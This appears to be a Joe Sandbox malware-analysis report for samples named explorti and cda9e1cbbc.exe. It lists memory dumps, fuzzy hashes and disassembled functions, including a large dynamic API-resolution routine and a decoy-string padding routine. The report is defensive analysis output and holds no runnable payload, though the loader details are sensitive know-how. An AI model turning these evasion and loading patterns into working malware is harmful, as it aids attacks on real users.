Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 66f7fb38f209daf1548e2f8c7c03b46276a25a60f0d3293002549c0aad53d9bd
Instruction ID: 8fb95ec7228921b2e2e53653b8b3aa9c6c3c17cd792427549f6e6e8a782bc750
Opcode Fuzzy Hash: 66f7fb38f209daf1548e2f8c7c03b46276a25a60f0d3293002549c0aad53d9bd
Instruction Fuzzy Hash: 33213B71A05209AFDF11EFA4DC819FFBBB8AF48714F104069F601B7261DB70AD018BA1

Function 00EB7040 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 236COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 00EB726C

Strings

`z, xrefs: 00EB7282
@., xrefs: 00EB7250

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: @.$`z
API String ID: 3366076730-840869247
Opcode ID: 49421e264478b6747d7a3e02da8299d37ae4780ce4cd45fdaacb020d55021743
Instruction ID: 2f6ac97fc97e9351e745884953295e483aed5d60553f3b1c67da614b50a38c4e
Opcode Fuzzy Hash: 49421e264478b6747d7a3e02da8299d37ae4780ce4cd45fdaacb020d55021743
Instruction Fuzzy Hash: C5A138B0E016198FDB21CFA8C98479EBBF0FF88704F188159E959AB351E7759D01CB90

Function 00EB8E70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

P#, xrefs: 00EA2486
P#, xrefs: 00EA246D

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: P#$P#
API String ID: 0-2117210794
Opcode ID: 94c4010af9c13863d1e88abfb1321b16c20ba00b68f5dc58d39dc3b5085673e4
Instruction ID: f054b4c8de1bead031dc0eae27e2f7b7d635d43c9ac65f14c418c2e0294b78e7
Opcode Fuzzy Hash: 94c4010af9c13863d1e88abfb1321b16c20ba00b68f5dc58d39dc3b5085673e4
Instruction Fuzzy Hash: F451E372A001199BCB14EFA8DC419AFB7E9EF44300B10166AF915FB341EB30EE11CB92

Function 00EA3930 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 00EA3962
__Mtx_init_in_situ.LIBCPMT ref: 00EA39A1

Strings

pB, xrefs: 00EA3940

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: pB
API String ID: 3366076730-2061397439
Opcode ID: b3bd31bbc06366dfe95b3ae95e8f4ed4991b89b90c3b08c37858cd7097079d96
Instruction ID: 4cf9d1c216e467bf4dc1c1c319f3e5fabfbd287cb70535a18a148f496765fdb0
Opcode Fuzzy Hash: b3bd31bbc06366dfe95b3ae95e8f4ed4991b89b90c3b08c37858cd7097079d96
Instruction Fuzzy Hash: CA4125B45017058FD720CF29C58875ABBF0FF88315F208659E9AA9B341E7B4EA05CF80

Function 00EA2440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00EA247E

Strings

P#, xrefs: 00EA2486
P#, xrefs: 00EA246D

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#$P#
API String ID: 2659868963-2117210794
Opcode ID: d437edb4fa264513799589b0b9bcbc833a2d6e7aadda79b51629354e62450062
Instruction ID: 602367a0123f4f646d6a4e813a4a5b1c72f7d336d254eda4b38e08a29f0da6cb
Opcode Fuzzy Hash: d437edb4fa264513799589b0b9bcbc833a2d6e7aadda79b51629354e62450062
Instruction Fuzzy Hash: E0F0E5B191020D67C714EBE8D80298AB7ECDE16300B009A26F744FBA01FBB0FA44C792

Function 00EA2520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00EA2552

Strings

P#, xrefs: 00EA255D
P#, xrefs: 00EA2547

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#$P#
API String ID: 2659868963-2117210794
Opcode ID: 3138cacc27743c201dfac3ebfe3545e46d1da2223174c39ca9ab6685726ff3b4
Instruction ID: 62ac7ed01f78d0d172eb11d836d590cbc05b1ec3b6f1c826932f2f77a7a38054
Opcode Fuzzy Hash: 3138cacc27743c201dfac3ebfe3545e46d1da2223174c39ca9ab6685726ff3b4
Instruction Fuzzy Hash: F0F08271E1020D9BC714DF68D84199EBBF4AF55300F1092AEE444A7201EA705A55CB95

Analysis Process: cda9e1cbbc.exePID: 8108, Parent PID: 7840COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 004195E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,025EA628), ref: 004195FD
GetProcAddress.KERNEL32(77190000,025EA6C8), ref: 00419615
GetProcAddress.KERNEL32(77190000,026068C0), ref: 0041962E
GetProcAddress.KERNEL32(77190000,026067A0), ref: 00419646
GetProcAddress.KERNEL32(77190000,026069B0), ref: 0041965E
GetProcAddress.KERNEL32(77190000,026069C8), ref: 00419677
GetProcAddress.KERNEL32(77190000,025E7A48), ref: 0041968F
GetProcAddress.KERNEL32(77190000,02606908), ref: 004196A7
GetProcAddress.KERNEL32(77190000,02606920), ref: 004196C0
GetProcAddress.KERNEL32(77190000,02606938), ref: 004196D8
GetProcAddress.KERNEL32(77190000,02606950), ref: 004196F0
GetProcAddress.KERNEL32(77190000,025EA588), ref: 00419709
GetProcAddress.KERNEL32(77190000,025EA6E8), ref: 00419721
GetProcAddress.KERNEL32(77190000,025EA728), ref: 00419739
GetProcAddress.KERNEL32(77190000,025EA428), ref: 00419752
GetProcAddress.KERNEL32(77190000,02606968), ref: 0041976A
GetProcAddress.KERNEL32(77190000,02606980), ref: 00419782
GetProcAddress.KERNEL32(77190000,025E7868), ref: 0041979B
GetProcAddress.KERNEL32(77190000,025EA708), ref: 004197B3
GetProcAddress.KERNEL32(77190000,02606998), ref: 004197CB
GetProcAddress.KERNEL32(77190000,02608E20), ref: 004197E4
GetProcAddress.KERNEL32(77190000,02608E08), ref: 004197FC
GetProcAddress.KERNEL32(77190000,02608D30), ref: 00419814
GetProcAddress.KERNEL32(77190000,025EA368), ref: 0041982D
GetProcAddress.KERNEL32(77190000,02608C88), ref: 00419845
GetProcAddress.KERNEL32(77190000,02608E38), ref: 0041985D
GetProcAddress.KERNEL32(77190000,02608C70), ref: 00419876
GetProcAddress.KERNEL32(77190000,02608D48), ref: 0041988E
GetProcAddress.KERNEL32(77190000,02608DA8), ref: 004198A6
GetProcAddress.KERNEL32(77190000,02608DC0), ref: 004198BF
GetProcAddress.KERNEL32(77190000,02608CE8), ref: 004198D7
GetProcAddress.KERNEL32(77190000,02608D18), ref: 004198EF
GetProcAddress.KERNEL32(77190000,02608EB0), ref: 00419908
GetProcAddress.KERNEL32(77190000,025E8208), ref: 00419920
GetProcAddress.KERNEL32(77190000,02608DD8), ref: 00419938
GetProcAddress.KERNEL32(77190000,02608F10), ref: 00419951
GetProcAddress.KERNEL32(77190000,025EA388), ref: 00419969
GetProcAddress.KERNEL32(77190000,02608F28), ref: 00419981
GetProcAddress.KERNEL32(77190000,025EA3A8), ref: 0041999A
GetProcAddress.KERNEL32(77190000,02608D90), ref: 004199B2
GetProcAddress.KERNEL32(77190000,02608D60), ref: 004199CA
GetProcAddress.KERNEL32(77190000,025EA4E8), ref: 004199E3
GetProcAddress.KERNEL32(77190000,025EA3C8), ref: 004199FB
LoadLibraryA.KERNEL32(02608D00,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A0D
LoadLibraryA.KERNEL32(02608D78,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A1E
LoadLibraryA.KERNEL32(02608E98,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A30
LoadLibraryA.KERNEL32(02608DF0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A42
LoadLibraryA.KERNEL32(02608E50,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A53
LoadLibraryA.KERNEL32(02608EE0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A65
LoadLibraryA.KERNEL32(02608EC8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A77
LoadLibraryA.KERNEL32(02608E68,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A88
GetProcAddress.KERNEL32(77040000,025EA408), ref: 00419AAA
GetProcAddress.KERNEL32(77040000,02608CA0), ref: 00419AC2
GetProcAddress.KERNEL32(77040000,02606B00), ref: 00419ADA
GetProcAddress.KERNEL32(77040000,02608E80), ref: 00419AF3
GetProcAddress.KERNEL32(77040000,025EA448), ref: 00419B0B
GetProcAddress.KERNEL32(743A0000,025E7930), ref: 00419B30
GetProcAddress.KERNEL32(743A0000,025EA468), ref: 00419B49
GetProcAddress.KERNEL32(743A0000,025E77C8), ref: 00419B61
GetProcAddress.KERNEL32(743A0000,02608CB8), ref: 00419B79
GetProcAddress.KERNEL32(743A0000,02608F58), ref: 00419B92
GetProcAddress.KERNEL32(743A0000,025EA4C8), ref: 00419BAA
GetProcAddress.KERNEL32(743A0000,025EA888), ref: 00419BC2
GetProcAddress.KERNEL32(743A0000,02608F40), ref: 00419BDB
GetProcAddress.KERNEL32(768D0000,025EAA08), ref: 00419BFC
GetProcAddress.KERNEL32(768D0000,025EAA88), ref: 00419C14
GetProcAddress.KERNEL32(768D0000,02608CD0), ref: 00419C2D
GetProcAddress.KERNEL32(768D0000,02608EF8), ref: 00419C45
GetProcAddress.KERNEL32(768D0000,025EA908), ref: 00419C5D
GetProcAddress.KERNEL32(75790000,025E7980), ref: 00419C83
GetProcAddress.KERNEL32(75790000,025E7958), ref: 00419C9B
GetProcAddress.KERNEL32(75790000,02609018), ref: 00419CB3
GetProcAddress.KERNEL32(75790000,025EA8C8), ref: 00419CCC
GetProcAddress.KERNEL32(75790000,025EAA48), ref: 00419CE4
GetProcAddress.KERNEL32(75790000,025E77A0), ref: 00419CFC
GetProcAddress.KERNEL32(75A10000,02608FA0), ref: 00419D22
GetProcAddress.KERNEL32(75A10000,025EA868), ref: 00419D3A
GetProcAddress.KERNEL32(75A10000,02606B60), ref: 00419D52
GetProcAddress.KERNEL32(75A10000,02609030), ref: 00419D6B
GetProcAddress.KERNEL32(75A10000,02608FD0), ref: 00419D83
GetProcAddress.KERNEL32(75A10000,025EA8A8), ref: 00419D9B
GetProcAddress.KERNEL32(75A10000,025EAA68), ref: 00419DB4
GetProcAddress.KERNEL32(75A10000,02608FB8), ref: 00419DCC
GetProcAddress.KERNEL32(75A10000,02608F70), ref: 00419DE4
GetProcAddress.KERNEL32(76850000,025EA928), ref: 00419E06
GetProcAddress.KERNEL32(76850000,02608F88), ref: 00419E1E
GetProcAddress.KERNEL32(76850000,02608FE8), ref: 00419E36
GetProcAddress.KERNEL32(76850000,02609000), ref: 00419E4F
GetProcAddress.KERNEL32(76850000,02609270), ref: 00419E67
GetProcAddress.KERNEL32(75690000,025EA8E8), ref: 00419E88
GetProcAddress.KERNEL32(75690000,025EA9A8), ref: 00419EA1
GetProcAddress.KERNEL32(769C0000,025EA988), ref: 00419EC2
GetProcAddress.KERNEL32(769C0000,026090C0), ref: 00419EDA
GetProcAddress.KERNEL32(6FB00000,025EA948), ref: 00419F00
GetProcAddress.KERNEL32(6FB00000,025EAAA8), ref: 00419F18
GetProcAddress.KERNEL32(6FB00000,025EA9C8), ref: 00419F30
GetProcAddress.KERNEL32(6FB00000,02609090), ref: 00419F49
GetProcAddress.KERNEL32(6FB00000,025EA968), ref: 00419F61
GetProcAddress.KERNEL32(6FB00000,025EA7E8), ref: 00419F79
GetProcAddress.KERNEL32(6FB00000,025EA7C8), ref: 00419F92
GetProcAddress.KERNEL32(6FB00000,025EA9E8), ref: 00419FAA
GetProcAddress.KERNEL32(6FB00000,InternetSetOptionA), ref: 00419FC1
GetProcAddress.KERNEL32(6FB00000,HttpQueryInfoA), ref: 00419FD7
GetProcAddress.KERNEL32(75D90000,026091E0), ref: 00419FF9
GetProcAddress.KERNEL32(75D90000,02606B30), ref: 0041A011
GetProcAddress.KERNEL32(75D90000,02609300), ref: 0041A029
GetProcAddress.KERNEL32(75D90000,02609228), ref: 0041A042
GetProcAddress.KERNEL32(76470000,025EAB08), ref: 0041A063
GetProcAddress.KERNEL32(6F8E0000,026092B8), ref: 0041A084
GetProcAddress.KERNEL32(6F8E0000,025EAA28), ref: 0041A09D
GetProcAddress.KERNEL32(6F8E0000,026092D0), ref: 0041A0B5
GetProcAddress.KERNEL32(6F8E0000,02609108), ref: 0041A0CD

Strings

InternetSetOptionA, xrefs: 00419FB5
HttpQueryInfoA, xrefs: 00419FCC

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction ID: de404ee9f47513f53d28e8016dc56f999ad60f1515a6c9981bc8237813ea7153
Opcode Fuzzy Hash: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction Fuzzy Hash: 946243B5500E00AFC774DFA8EE88D1E3BABBB8C761750A51AE609C3674D7349443DBA4

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,0041649B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,0041649B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
